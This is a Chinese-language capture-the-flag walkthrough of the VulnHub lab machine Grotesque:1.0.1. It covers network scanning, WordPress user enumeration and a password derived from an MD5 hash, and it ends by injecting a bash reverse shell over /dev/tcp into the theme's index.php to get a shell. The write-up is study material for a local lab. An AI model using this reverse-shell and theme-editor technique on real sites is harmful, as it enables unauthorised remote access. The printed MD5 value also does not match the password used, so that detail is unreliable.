vulhub系列-83-Grotesque:1.0.1(超详细)

免责声明:本文记录的是 Grotesque:1.0.1 渗透测试靶机 的解题过程,所有操作均在 本地授权环境 中进行。内容仅供 网络安全学习与防护研究 使用,请勿用于任何非法用途。读者应遵守《网络安全法》及相关法律法规,自觉维护网络空间安全。

复制代码
环境:
https://download.vulnhub.com/grotesque/grotesque_vh-1.0.1.ova

一、信息收集

1、探测目标IP地址

复制代码
arp-scan -l   #探测当前网段的所有ip地址
复制代码
┌──(root㉿kali)-[~]
└─# arp-scan -l   #探测当前网段的所有ip地址                                
Interface: eth0, type: EN10MB, MAC: 08:00:27:63:b0:05, IPv4: 192.168.5.6
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.5.1 0a:00:27:00:00:04   (Unknown: locally administered)
192.168.5.2 08:00:27:99:09:f8   PCS Systemtechnik GmbH
192.168.5.10    08:00:27:1f:58:6d   PCS Systemtechnik GmbH
​
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.967 seconds (130.15 hosts/sec). 3 responded
               
复制代码
nmap -sP 192.168.5.0/24
复制代码
┌──(root㉿kali)-[~]
└─# nmap -sP 192.168.5.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-25 07:27 -0400
Nmap scan report for 192.168.5.1
Host is up (0.00019s latency).
MAC Address: 0A:00:27:00:00:04 (Unknown)
Nmap scan report for 192.168.5.2
Host is up (0.00021s latency).
MAC Address: 08:00:27:99:09:F8 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.5.10
Host is up (0.00021s latency).
MAC Address: 08:00:27:1F:58:6D (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.5.6
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 7.53 seconds
        
复制代码
目标IP:192.168.5.10

2、探测目标IP开放端口

复制代码
nmap -sV -p- 192.168.5.10
复制代码
┌──(root㉿kali)-[~]
└─# nmap -sV -p- 192.168.5.10
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-25 07:27 -0400
Nmap scan report for 192.168.5.10
Host is up (0.000063s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
66/tcp open  http    WEBrick httpd 1.4.2 (Ruby 2.5.5 (2019-03-15))
80/tcp open  http    Apache httpd 2.4.38
MAC Address: 08:00:27:1F:58:6D (Oracle VirtualBox virtual NIC)
Service Info: Host: 127.0.1.1
​
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.43 seconds
    
复制代码
端口:66、80

3、目录探测

复制代码
dirsearch -u http://192.168.5.10
复制代码
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.5.10
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/reports/http_192.168.5.10/_26-03-25_07-28-06.txt

Target: http://192.168.5.10/

[07:28:06] Starting: 
[07:28:06] 403 -  277B  - /.ht_wsr.txt                                      
[07:28:07] 403 -  277B  - /.htaccess.bak1                                   
[07:28:07] 403 -  277B  - /.htaccess.orig                                   
[07:28:07] 403 -  277B  - /.htaccess.save                                   
[07:28:07] 403 -  277B  - /.htaccess.sample
[07:28:07] 403 -  277B  - /.htaccess_extra                                  
[07:28:07] 403 -  277B  - /.htaccess_sc
[07:28:07] 403 -  277B  - /.htaccess_orig
[07:28:07] 403 -  277B  - /.htaccessBAK
[07:28:07] 403 -  277B  - /.htaccessOLD
[07:28:07] 403 -  277B  - /.htaccessOLD2                                    
[07:28:07] 403 -  277B  - /.html                                            
[07:28:07] 403 -  277B  - /.htm
[07:28:07] 403 -  277B  - /.htpasswds                                       
[07:28:07] 403 -  277B  - /.httr-oauth
[07:28:07] 403 -  277B  - /.htpasswd_test
[07:28:07] 403 -  277B  - /.php                                             
[07:28:23] 301 -  317B  - /javascript  ->  http://192.168.5.10/javascript/  
[07:28:32] 403 -  277B  - /server-status                                    
[07:28:32] 403 -  277B  - /server-status/
                                                                             
Task Completed

二、漏洞利用

1、信息搜集

直接访问80端口,返回404,无法登录。

访问66端口,可正常访问。点击红框下载文件

解压后,在_vvmlist中有很多内容大致相同的文件,这里通过读取该路径下所有文件的内容,并去除重复行,得到80端口的路径

复制代码
wget http://192.168.5.10:66/vvmlist.zip 

unzip vvmlist.zip

ls

cd vvmlist.github.io 

ls

cat ./_vvmlist/* | sort | uniq
复制代码
┌──(root㉿kali)-[~]
└─# wget http://192.168.5.10:66/vvmlist.zip                                    
--2026-03-25 07:30:54--  http://192.168.5.10:66/vvmlist.zip
正在连接 192.168.5.10:66... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:479655 (468K) [application/zip]
正在保存至: “vvmlist.zip”

vvmlist.zip                100%[=====================================>] 468.41K  --.-KB/s  用时 0.005s  

2026-03-25 07:30:54 (85.1 MB/s) - 已保存 “vvmlist.zip” [479655/479655])

                                                                                                         
┌──(root㉿kali)-[~]
└─# unzip vvmlist.zip 
Archive:  vvmlist.zip
   creating: vvmlist.github.io/
 extracting: vvmlist.github.io/.gitattributes  
 extracting: vvmlist.github.io/.gitignore  
 extracting: vvmlist.github.io/.travis.yml  
 extracting: vvmlist.github.io/.yamllint  
   creating: vvmlist.github.io/assets/
 extracting: vvmlist.github.io/assets/logo.png  
 extracting: vvmlist.github.io/assets/style.scss  
 extracting: vvmlist.github.io/changelog.txt  
 extracting: vvmlist.github.io/functions.md  
 extracting: vvmlist.github.io/Gemfile  
 extracting: vvmlist.github.io/Gemfile.lock  
 extracting: vvmlist.github.io/index.md  
 extracting: vvmlist.github.io/LICENSE  
 extracting: vvmlist.github.io/license.txt  
 extracting: vvmlist.github.io/Makefile  
   creating: vvmlist.github.io/scripts/
 extracting: vvmlist.github.io/scripts/validate-schema.py  
 extracting: vvmlist.github.io/sshpasswd.png  
 extracting: vvmlist.github.io/_config.yml  
   creating: vvmlist.github.io/_data/
 extracting: vvmlist.github.io/_data/curls.yml  
 extracting: vvmlist.github.io/_data/diffis.yml  
 extracting: vvmlist.github.io/_data/functions.yml  
 extracting: vvmlist.github.io/_data/platfs.yml  
   creating: vvmlist.github.io/_includes/
 extracting: vvmlist.github.io/_includes/bin_table.html  
 extracting: vvmlist.github.io/_includes/curls_description.html  
 extracting: vvmlist.github.io/_includes/curl_list.html  
 extracting: vvmlist.github.io/_includes/diffis_description.html  
 extracting: vvmlist.github.io/_includes/diffi_list.html  
 extracting: vvmlist.github.io/_includes/functions_description.html  
 extracting: vvmlist.github.io/_includes/function_list.html  
 extracting: vvmlist.github.io/_includes/get_bin_name  
 extracting: vvmlist.github.io/_includes/page_title.html  
 extracting: vvmlist.github.io/_includes/platfs_description.html  
 extracting: vvmlist.github.io/_includes/platf_list.html  
 extracting: vvmlist.github.io/_includes/vvm-index.html  
   creating: vvmlist.github.io/_layouts/
 extracting: vvmlist.github.io/_layouts/bin.html  
 extracting: vvmlist.github.io/_layouts/common.html  
 extracting: vvmlist.github.io/_layouts/page.html  
   creating: vvmlist.github.io/_vvmlist/
 extracting: vvmlist.github.io/_vvmlist/.dir-locals.el  
 extracting: vvmlist.github.io/_vvmlist/access.md  
 extracting: vvmlist.github.io/_vvmlist/active.md  
 extracting: vvmlist.github.io/_vvmlist/admirer.md  
 extracting: vvmlist.github.io/_vvmlist/ai.md  
 extracting: vvmlist.github.io/_vvmlist/alzheimer.md  
 extracting: vvmlist.github.io/_vvmlist/apocalyst.md  
 extracting: vvmlist.github.io/_vvmlist/aragog.md  
 extracting: vvmlist.github.io/_vvmlist/arctic.md  
 extracting: vvmlist.github.io/_vvmlist/bank.md  
 extracting: vvmlist.github.io/_vvmlist/bart.md  
 extracting: vvmlist.github.io/_vvmlist/bashed.md  
 extracting: vvmlist.github.io/_vvmlist/bastard.md  
 extracting: vvmlist.github.io/_vvmlist/bastion.md  
 extracting: vvmlist.github.io/_vvmlist/beep.md  
 extracting: vvmlist.github.io/_vvmlist/bitlab.md  
 extracting: vvmlist.github.io/_vvmlist/blocky.md  
 extracting: vvmlist.github.io/_vvmlist/blue.md  
 extracting: vvmlist.github.io/_vvmlist/blunder.md  
 extracting: vvmlist.github.io/_vvmlist/book.md  
 extracting: vvmlist.github.io/_vvmlist/bounty.md  
 extracting: vvmlist.github.io/_vvmlist/brainpan 1.md  
 extracting: vvmlist.github.io/_vvmlist/buff.md  
 extracting: vvmlist.github.io/_vvmlist/calamity.md  
 extracting: vvmlist.github.io/_vvmlist/canape.md  
 extracting: vvmlist.github.io/_vvmlist/carrier.md  
 extracting: vvmlist.github.io/_vvmlist/cascade.md  
 extracting: vvmlist.github.io/_vvmlist/celestial.md  
 extracting: vvmlist.github.io/_vvmlist/chaos.md  
 extracting: vvmlist.github.io/_vvmlist/chatterbox.md  
 extracting: vvmlist.github.io/_vvmlist/colddbox.md  
 extracting: vvmlist.github.io/_vvmlist/covfefe 1.md  
 extracting: vvmlist.github.io/_vvmlist/craft.md  
 extracting: vvmlist.github.io/_vvmlist/cronos.md  
 extracting: vvmlist.github.io/_vvmlist/curling.md  
 extracting: vvmlist.github.io/_vvmlist/cybox 1.1.md  
 extracting: vvmlist.github.io/_vvmlist/dab.md  
 extracting: vvmlist.github.io/_vvmlist/devel.md  
 extracting: vvmlist.github.io/_vvmlist/devoops.md  
 extracting: vvmlist.github.io/_vvmlist/djinn 1.md  
 extracting: vvmlist.github.io/_vvmlist/driftingblues3.md  
 extracting: vvmlist.github.io/_vvmlist/dropzone.md  
 extracting: vvmlist.github.io/_vvmlist/enterprise.md  
 extracting: vvmlist.github.io/_vvmlist/escalate_linux 1.md  
 extracting: vvmlist.github.io/_vvmlist/europa.md  
 extracting: vvmlist.github.io/_vvmlist/fluxcapacitor.md  
 extracting: vvmlist.github.io/_vvmlist/forest.md  
 extracting: vvmlist.github.io/_vvmlist/forwardslash.md  
 extracting: vvmlist.github.io/_vvmlist/friendzone.md  
 extracting: vvmlist.github.io/_vvmlist/fristileaks 1.3.md  
 extracting: vvmlist.github.io/_vvmlist/frolic.md  
 extracting: vvmlist.github.io/_vvmlist/fuse.md  
 extracting: vvmlist.github.io/_vvmlist/giddy.md  
 extracting: vvmlist.github.io/_vvmlist/goldeneye 1.md  
 extracting: vvmlist.github.io/_vvmlist/grandpa.md  
 extracting: vvmlist.github.io/_vvmlist/granny.md  
 extracting: vvmlist.github.io/_vvmlist/hacklab vulnix.md  
 extracting: vvmlist.github.io/_vvmlist/haircut.md  
 extracting: vvmlist.github.io/_vvmlist/hawk.md  
 extracting: vvmlist.github.io/_vvmlist/haystack.md  
 extracting: vvmlist.github.io/_vvmlist/healthcare 1.md  
 extracting: vvmlist.github.io/_vvmlist/heist.md  
 extracting: vvmlist.github.io/_vvmlist/help.md  
 extracting: vvmlist.github.io/_vvmlist/hemisphere lynx.md  
 extracting: vvmlist.github.io/_vvmlist/inception.md  
 extracting: vvmlist.github.io/_vvmlist/infosec prep oscp.md  
 extracting: vvmlist.github.io/_vvmlist/irked.md  
 extracting: vvmlist.github.io/_vvmlist/jarvis.md  
 extracting: vvmlist.github.io/_vvmlist/jeeves.md  
 extracting: vvmlist.github.io/_vvmlist/jerry.md  
 extracting: vvmlist.github.io/_vvmlist/joker.md  
 extracting: vvmlist.github.io/_vvmlist/kioptrix level 1.1.md  
 extracting: vvmlist.github.io/_vvmlist/kioptrix level 1.md  
 extracting: vvmlist.github.io/_vvmlist/lacasadepapel.md  
 extracting: vvmlist.github.io/_vvmlist/lame.md  
 extracting: vvmlist.github.io/_vvmlist/lazy.md  
 extracting: vvmlist.github.io/_vvmlist/legacy.md  
 extracting: vvmlist.github.io/_vvmlist/lightweight.md  
 extracting: vvmlist.github.io/_vvmlist/lin.security 1.md  
 extracting: vvmlist.github.io/_vvmlist/lord of the root 1.0.1.md  
 extracting: vvmlist.github.io/_vvmlist/luke.md  
 extracting: vvmlist.github.io/_vvmlist/m87.md  
 extracting: vvmlist.github.io/_vvmlist/magic.md  
 extracting: vvmlist.github.io/_vvmlist/mango.md  
 extracting: vvmlist.github.io/_vvmlist/masashi 1.md  
 extracting: vvmlist.github.io/_vvmlist/metasploitable 2.md  
 extracting: vvmlist.github.io/_vvmlist/mirai.md  
 extracting: vvmlist.github.io/_vvmlist/moee 1.md  
 extracting: vvmlist.github.io/_vvmlist/monteverde.md  
 extracting: vvmlist.github.io/_vvmlist/mr-robot 1.md  
 extracting: vvmlist.github.io/_vvmlist/nest.md  
 extracting: vvmlist.github.io/_vvmlist/netmon.md  
 extracting: vvmlist.github.io/_vvmlist/networked.md  
 extracting: vvmlist.github.io/_vvmlist/nibbles.md  
 extracting: vvmlist.github.io/_vvmlist/nineveh.md  
 extracting: vvmlist.github.io/_vvmlist/obscurity.md  
 extracting: vvmlist.github.io/_vvmlist/october.md  
 extracting: vvmlist.github.io/_vvmlist/odin 1.md  
 extracting: vvmlist.github.io/_vvmlist/olympus.md  
 extracting: vvmlist.github.io/_vvmlist/omni.md  
 extracting: vvmlist.github.io/_vvmlist/onsystem hannah.md  
 extracting: vvmlist.github.io/_vvmlist/openadmin.md  
 extracting: vvmlist.github.io/_vvmlist/openkeys.md  
 extracting: vvmlist.github.io/_vvmlist/optimum.md  
 extracting: vvmlist.github.io/_vvmlist/poison.md  
 extracting: vvmlist.github.io/_vvmlist/popcorn.md  
 extracting: vvmlist.github.io/_vvmlist/postman.md  
 extracting: vvmlist.github.io/_vvmlist/pwnlab init.md  
 extracting: vvmlist.github.io/_vvmlist/querier.md  
 extracting: vvmlist.github.io/_vvmlist/relevant 1.md  
 extracting: vvmlist.github.io/_vvmlist/remote.md  
 extracting: vvmlist.github.io/_vvmlist/resolute.md  
 extracting: vvmlist.github.io/_vvmlist/sar 1.md  
 extracting: vvmlist.github.io/_vvmlist/sauna.md  
 extracting: vvmlist.github.io/_vvmlist/school 1.md  
 extracting: vvmlist.github.io/_vvmlist/secnotes.md  
 extracting: vvmlist.github.io/_vvmlist/sense.md  
 extracting: vvmlist.github.io/_vvmlist/servmon.md  
 extracting: vvmlist.github.io/_vvmlist/shocker.md  
 extracting: vvmlist.github.io/_vvmlist/shuriken 1.md  
 extracting: vvmlist.github.io/_vvmlist/sickos 1.1.md  
 extracting: vvmlist.github.io/_vvmlist/sickos 1.2.md  
 extracting: vvmlist.github.io/_vvmlist/skytower 1.md  
 extracting: vvmlist.github.io/_vvmlist/sneaky.md  
 extracting: vvmlist.github.io/_vvmlist/sneakymailer.md  
 extracting: vvmlist.github.io/_vvmlist/sniper.md  
 extracting: vvmlist.github.io/_vvmlist/solidstate.md  
 extracting: vvmlist.github.io/_vvmlist/stapler 1.md  
 extracting: vvmlist.github.io/_vvmlist/stratosphere.md  
 extracting: vvmlist.github.io/_vvmlist/sunday.md  
 extracting: vvmlist.github.io/_vvmlist/sunset decoy.md  
 extracting: vvmlist.github.io/_vvmlist/swagshop.md  
 extracting: vvmlist.github.io/_vvmlist/symfonos 1.md  
 extracting: vvmlist.github.io/_vvmlist/symfonos 2.md  
 extracting: vvmlist.github.io/_vvmlist/symfonos 3.1.md  
 extracting: vvmlist.github.io/_vvmlist/symfonos 4.md  
 extracting: vvmlist.github.io/_vvmlist/tabby.md  
 extracting: vvmlist.github.io/_vvmlist/tartarsauce.md  
 extracting: vvmlist.github.io/_vvmlist/teacher.md  
 extracting: vvmlist.github.io/_vvmlist/tenten.md  
 extracting: vvmlist.github.io/_vvmlist/the planets mercury.md  
 extracting: vvmlist.github.io/_vvmlist/tr0ll 1.md  
 extracting: vvmlist.github.io/_vvmlist/tr0ll 2.md  
 extracting: vvmlist.github.io/_vvmlist/tr0ll 3.md  
 extracting: vvmlist.github.io/_vvmlist/traceback.md  
 extracting: vvmlist.github.io/_vvmlist/traverxec.md  
 extracting: vvmlist.github.io/_vvmlist/twisted.md  
 extracting: vvmlist.github.io/_vvmlist/uninvited 1.md  
 extracting: vvmlist.github.io/_vvmlist/valentine.md  
 extracting: vvmlist.github.io/_vvmlist/vulnos 2.md  
 extracting: vvmlist.github.io/_vvmlist/vulny.md  
 extracting: vvmlist.github.io/_vvmlist/waldo.md  
 extracting: vvmlist.github.io/_vvmlist/wall.md  
 extracting: vvmlist.github.io/_vvmlist/web developer 1.md  
 extracting: vvmlist.github.io/_vvmlist/writeup.md  
 extracting: vvmlist.github.io/_vvmlist/ypuffy.md  
 extracting: vvmlist.github.io/_vvmlist/zico2.md  
 extracting: vvmlist.github.io/_vvmlist/zipper.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aaa.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aab.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aac.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aad.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aae.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aaf.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aag.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aah.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aai.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aaj.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aak.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aal.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aam.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aan.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aao.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aap.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aaq.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aar.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aas.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aat.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aau.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aav.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aax.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aay.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aaz.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-aba.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-abb.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-abc.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-abd.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-abe.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-abf.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-abg.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-abh.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-abi.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-abj.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-abk.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-abl.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-abm.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-abn.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-abo.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-abp.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-abr.md  
 extracting: vvmlist.github.io/_vvmlist/zzz-classified-abs.md  

                                                                                                         
┌──(root㉿kali)-[~]
└─# ls
49876.py  hint.txt  reports  vvmlist.github.io  vvmlist.zip
                                                                                                         
┌──(root㉿kali)-[~]
└─# cd vvmlist.github.io          
                                                                                                         
┌──(root㉿kali)-[~/vvmlist.github.io]
└─# ls
assets         _config.yml  functions.md  Gemfile.lock  index.md  LICENSE      Makefile  sshpasswd.png
changelog.txt  _data        Gemfile       _includes     _layouts  license.txt  scripts   _vvmlist
                                                                                                         
┌──(root㉿kali)-[~/vvmlist.github.io]
└─# cat ./_vvmlist/* | sort | uniq

    -
---
------
  access:
  acd:
  active:
  admirer:
  ai:
  alzheimer:
  apocalyst:
  aragog:
  arce:
  arctic:
  asrep:
  bank:
  bart:
  bashed:
  bastard:
  bastion:
  beep:
  bitlab:
  blocky:
  blood:
  blue:
  blunder:
  bof:
  book:
  bounty:
  "brainpan 1":
  brute:
  buff:
  burp:
  calamity:
  camdum:
  canape:
  capa:
  capdum:
  carrier:
  cascade:
  celestial:
  cewl:
  chaos:
  chatterbox:
  "colddbox":
  "covfefe 1":
  craft:
  cred:
  credz:
  cronj:
  cronos:
  curling:
  curlna:
curls:
  cve:
  "cybox 1.1":
  dab:
  dcs:
  dddd:
  deser:
  devel:
  devoops:
diffis:
  dirtra:
  "djinn 1":
  dns:
  docker:
  driftingblues3:
  dropzone:
  e:
  enterprise:
  "escalate_linux 1":
  europa:
  finger:
  fluxcapacitor:
  forest:
  forwardslash:
  for wordpress, it's on port 80/lyricsblog:
  friendzone:
  "fristileaks 1.3":
  frolic:
  ftp:
functions:
  fuse:
  giddy:
  git:
  "goldeneye 1":
  grandpa:
  granny:
  group:
  h:
  "hacklab vulnix":
  hackmyvm:
  haircut:
  hash:
  hawk:
  haystack:
  "healthcare 1":
  heist:
  help:
  "hemisphere lynx":
  hidden:
  htbvip:
  inception:
  "infosec prep oscp":
  irked:
  jarvis:
  jeeves:
  jerry:
  joker:
  kernel:
  kernelb:
  kernelz:
  "kioptrix level 1":
  "kioptrix level 1.1":
  krbro:
  lacasadepapel:
  lame:
  lazy:
  ldap:
  legacy:
  lfi:
  libhj:
  lightweight:
  "lin.security 1":
  logpoi:
  "lord of the root 1.0.1":
  luke:
  lxcd:
  m:
  "m87":
  magic:
  mail:
  mango:
  "masashi 1":
  "metasploitable 2":
  mimik:
  mirai:
  "moee 1":
  monteverde:
  mount:
  "mr-robot 1":
  na:
  nest:
  netmon:
  networked:
  nfs:
  nibbles:
  nineveh:
  nosqli:
  obscurity:
  october:
  "odin 1":
  olympus:
  omni:
  "onsystem hannah":
  openadmin:
  openkeys:
  optimum:
  pathj:
  pivot:
platfs:
  poison:
  popcorn:
  portkn:
  postman:
  powsh:
  proxy:
  pwklabs:
  "pwnlab init":
  querier:
  rbash:
  rce:
  rdp:
  "relevant 1":
  remote:
  resolute:
  revsh:
  rfi:
  rpc:
  sam:
  "sar 1":
  sauna:
  "school 1":
  secnotes:
  sense:
  servmon:
  setenv:
  shocker:
  "shuriken 1":
  "sickos 1.1":
  "sickos 1.2":
  "skytower 1":
  smb:
  smtp:
  sneaky:
  sneakymailer:
  sniper:
  snmp:
  solidstate:
  source:
  sql:
  sqli:
  ssh:
  ssht:
  ssl:
  "stapler 1":
  stego:
  stratosphere:
  sudo:
  suid:
  sunday:
  "sunset decoy":
  swagshop:
  "symfonos 1":
  "symfonos 2":
  "symfonos 3.1":
  "symfonos 4":
  sys:
  tabby:
  tartarsauce:
  teacher:
  telnet:
  tenten:
  tftp:
  "the planets mercury":
  "tr0ll 1":
  "tr0ll 2":
  "tr0ll 3":
  traceback:
  traverxec:
  twisted:
  "uninvited 1":
  unix:
  valentine:
  vulnhub:
  "vulnos 2":
  vulny:
  waldo:
  wall:
  webdav:
  "web developer 1":
  win:
  winrm:
  wp:
  writeup:
  xml:
  xss:
  xxe:
  ypuffy:
  "zico2":
  zipper:

成功访问,并且可以看到CMS为WrodPress

复制代码
http://192.168.5.10/lyricsblog/

2、Wordpress信息枚举

复制代码
wpscan --url http://192.168.5.10/lyricsblog/ -e at -e ap -e u
复制代码
┌──(root?kali)-[~]
└─# wpscan --url http://192.168.5.10/lyricsblog/ -e at -e ap -e u  
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ?
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.5.10/lyricsblog/ [192.168.5.10]
[+] Started: Wed Mar 25 07:34:25 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.38 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.5.10/lyricsblog/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.5.10/lyricsblog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.5.10/lyricsblog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.6 identified (Insecure, released on 2020-12-08).
 | Found By: Rss Generator (Passive Detection)
 |  - http://192.168.5.10/lyricsblog/index.php/feed/, <generator>https://wordpress.org/?v=5.6</generator>
 |  - http://192.168.5.10/lyricsblog/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.6</generator>

[+] WordPress theme in use: twentytwentyone
 | Location: http://192.168.5.10/lyricsblog/wp-content/themes/twentytwentyone/
 | Last Updated: 2025-12-03T00:00:00.000Z
 | Readme: http://192.168.5.10/lyricsblog/wp-content/themes/twentytwentyone/readme.txt
 | [!] The version is out of date, the latest version is 2.7
 | Style URL: http://192.168.5.10/lyricsblog/wp-content/themes/twentytwentyone/style.css?ver=1.0
 | Style Name: Twenty Twenty-One
 | Style URI: https://wordpress.org/themes/twentytwentyone/
 | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.5.10/lyricsblog/wp-content/themes/twentytwentyone/style.css?ver=1.0, Match: 'Version: 1.0'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <===========================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] erdalkomurcu
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://192.168.5.10/lyricsblog/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Wed Mar 25 07:34:29 2026
[+] Requests Done: 61
[+] Cached Requests: 6
[+] Data Sent: 16.765 KB
[+] Data Received: 625.821 KB
[+] Memory used: 192.027 MB
[+] Elapsed time: 00:00:03

得到一个用户erdalkomurcu

回到网站去看看源代码

发现一个注释掉的目录

复制代码
<!-- /lyricsblog/yesman.png -->

访问一下

复制代码
http://192.168.5.10/lyricsblog/yesman.png

发现顶头有个 YES,I ENJOY HAKAN TASIYAN

网页上有一段标题为Hakan Taşıyan -- Doktor

是不是有联系

将不带标题的段落文本复制到文本文件中并保存

复制代码
Çaresiz derdimin sebebi belli
Dermanı yaramda arama doktor
Şifa bulmaz gönlüm senin elinden
Boşuna benimle uğraşma doktor

Aşk yarasıdır bu ilaç kapatmaz
Derdin teselli beni avutmaz
Dermanı yardadır sende bulunmaz
Boşuna benimle uğraşma doktor
Dokunma benim gönül yarama
Dokunma doktor

Bedenimde değil kalbimde derdim
Tek alışkanlığım bir zalim sevdim
Sen çekil yanımdan sevdiğim gelsin
Boşuna zamanı harcama doktor

尝试计算并检查 MD5 消息摘要

复制代码
┌──(root㉿kali)-[~]
└─# vim test.txt  
                                                                                                                                                                                               
┌──(root㉿kali)-[~]
└─# md5sum test.txt
39cdcc2e99009b338d2f22ef80d57c3d  test.txt
              

将md5sum 转换为大写,因为在登录页面上有一条消息密码应该是大写

md5sum: BC78C6AB38E114D6135409E44F7CDDA2

尝试登录wp-login

复制代码
http://192.168.5.10/lyricsblog/wp-login.php
复制代码
erdalkomurcu/BC78C6AB38E114D6135409E44F7CDDA2

登录成功

3、漏洞利用

WordPress主题编辑反弹shell

appearance > edit theme> index.php>粘贴代码>获取反向shell

复制代码
system("bash -c 'bash -i >& /dev/tcp/192.168.5.6/2233 0>&1'");

访问:http://192.168.5.10/lyricsblog/

成功获得shell

复制代码
┌──(root?kali)-[~]
└─# nc -lvnp 2233
listening on [any] 2233 ...
connect to [192.168.5.6] from (UNKNOWN) [192.168.5.10] 55558
bash: cannot set terminal process group (507): Inappropriate ioctl for device
bash: no job control in this shell
